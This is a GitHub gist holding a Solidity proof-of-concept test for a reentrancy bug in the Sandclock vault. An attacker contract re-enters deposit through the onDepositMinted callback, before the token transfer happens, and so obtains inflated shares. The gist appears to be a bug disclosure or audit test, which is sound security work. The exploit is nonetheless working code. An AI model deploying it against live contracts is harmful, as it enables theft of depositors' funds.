Skip to content

Instantly share code, notes, and snippets.

@CamdenClark
Created January 7, 2022 04:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CamdenClark/abc67bc1b387c15600549f6dfd5cb27a to your computer and use it in GitHub Desktop.
Save CamdenClark/abc67bc1b387c15600549f6dfd5cb27a to your computer and use it in GitHub Desktop.
Sandclock Reentrancy Bug
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.10;
import "ds-test/test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "../Vault.sol";
import "../vault/IVault.sol";
import "../mock/MockERC20.sol";
import "../integrations/IIntegration.sol";
contract ReentrancyAttacker is DSTest, IIntegration, IERC721Receiver {
IERC20 ust;
Vault vault;
bool reentered = false;
constructor(Vault _vault, IERC20 _ust) {
vault = _vault;
ust = _ust;
}
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
function supportsInterface(bytes4 interfaceID) external view returns (bool) {
if (interfaceID == 0x01ffc9a7 || interfaceID == 0x62035b9c) { return true; }
return false;
}
function onDepositMinted(
uint256 _depositID,
uint256 _shares,
bytes memory _data
) external returns (bytes4) {
// When this is called, the vault's deposit function will be mid-execution
// There are two important things about the callstack:
// 1. The shares for the claims have already been minted
// 2. We haven't transfered any UST yet, so the balance of the vault doesn't reflect that deposit
// This means that our re-entrant deposit call below will be computed
// as if there are 200 * 10^18 shares, but still only 100 ether UST in the pool.
// This will make it so our deposit will add 200 * 10^18 shares to our claim, instead of
// 100 * 10^18 shares as expected.
if (!reentered) {
reentered = true;
IVault.ClaimParams[] memory claims = new IVault.ClaimParams[](1);
claims[0] = IVault.ClaimParams({pct: 10000, beneficiary: address(this), data: ""});
vault.deposit(IVault.DepositParams({amount: 100 ether, claims: claims, lockedUntil: 100}));
}
return bytes4(keccak256("onDepositMinted(uint256,uint256,bytes)"));
}
function onDepositBurned(uint256 _depositID) external returns (bytes4) {
return bytes4(keccak256("onDepositBurned(uint256)"));
}
function attack() public {
ust.approve(address(vault), 200 ether);
IVault.ClaimParams[] memory claims = new IVault.ClaimParams[](1);
claims[0] = IVault.ClaimParams({pct: 10000, beneficiary: address(this), data: ""});
vault.deposit(IVault.DepositParams({amount: 100 ether, claims: claims, lockedUntil: 100}));
// We kick off an initial deposit of 100 ether.
// Inside of the deposit call chain, we get a callback to onDepositeMinted
}
}
contract ReentrancyTest is DSTest, IERC721Receiver {
IERC20 ust = new MockERC20(100000 ether);
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
function setUp() public { }
function testReentrancy() public {
Vault vault = new Vault(ust, 100, 0, address(this));
ust.transfer(address(this), 100 ether);
ust.approve(address(vault), 100 ether);
IVault.ClaimParams[] memory claims = new IVault.ClaimParams[](1);
claims[0] = IVault.ClaimParams({pct: 10000, beneficiary: address(this), data: ""});
vault.deposit(IVault.DepositParams({amount: 100 ether, claims: claims, lockedUntil: 100}));
// Above, we set up a vault with 100 ether amount of UST.
// We then send 200 ether to the attacker, and kick off the attack.
ReentrancyAttacker attacker = new ReentrancyAttacker(vault, ust);
ust.transfer(address(attacker), 200 ether);
attacker.attack();
// Now, we see that we have 2/3rds of the principal, but 3/4ths of the shares
// That's not very fair!
uint256 tokenId = vault.claimers().addressToTokenID(address(attacker));
require(vault.claimers().principalOf(tokenId) == 200 ether);
require(vault.claimers().sharesOf(tokenId) == 300 ether * (10 ** 18));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment